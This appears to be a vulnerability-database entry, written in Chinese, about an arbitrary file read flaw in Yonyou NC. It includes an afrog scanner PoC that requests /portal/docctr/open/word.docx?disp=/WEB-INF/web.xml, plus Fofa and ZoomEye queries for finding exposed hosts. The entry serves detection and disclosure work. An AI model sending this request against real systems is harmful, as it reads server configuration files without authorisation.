yonyou-nc-word-docx-fileread: 用友NC word.docx存在任意文件读取漏洞

日期: 2025-09-01 | 影响软件: 用友NC | POC: 已公开

漏洞描述

用友 NC 前台存在open/word.docx文件读取漏洞，攻击者尝试拼接恶意请求实现任意文件读取，从而获取敏感文件路径信息。 Fofa: body="UClient.dmg" ZoomEye: app:"Yonyou NC httpd"

PoC代码[已公开]

id: yonyou-nc-word-docx-fileread

info:
  name: 用友NC word.docx存在任意文件读取漏洞
  author: Y3y1ng
  severity: high
  verified: true
  description: |-
    用友 NC 前台存在open/word.docx文件读取漏洞，攻击者尝试拼接恶意请求实现任意文件读取，从而获取敏感文件路径信息。
    Fofa: body="UClient.dmg"
    ZoomEye: app:"Yonyou NC httpd"
  reference:
    - https://mp.weixin.qq.com/s/RKAwMJoUivdzuQ6umuPKWw
  tags: yonyou,fileread
  created: 2023/12/04

rules:
  r0:
    request:
      method: GET
      path: /portal/docctr/open/word.docx?disp=/WEB-INF/web.xml
    expression: |
      response.status == 200 &&
      response.body.bcontains(b"<?xml") &&
      response.body.bcontains(b"encoding") &&
      response.body.bcontains(b"NC Portal")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/yonyou-nc-word-docx-fileread.yaml

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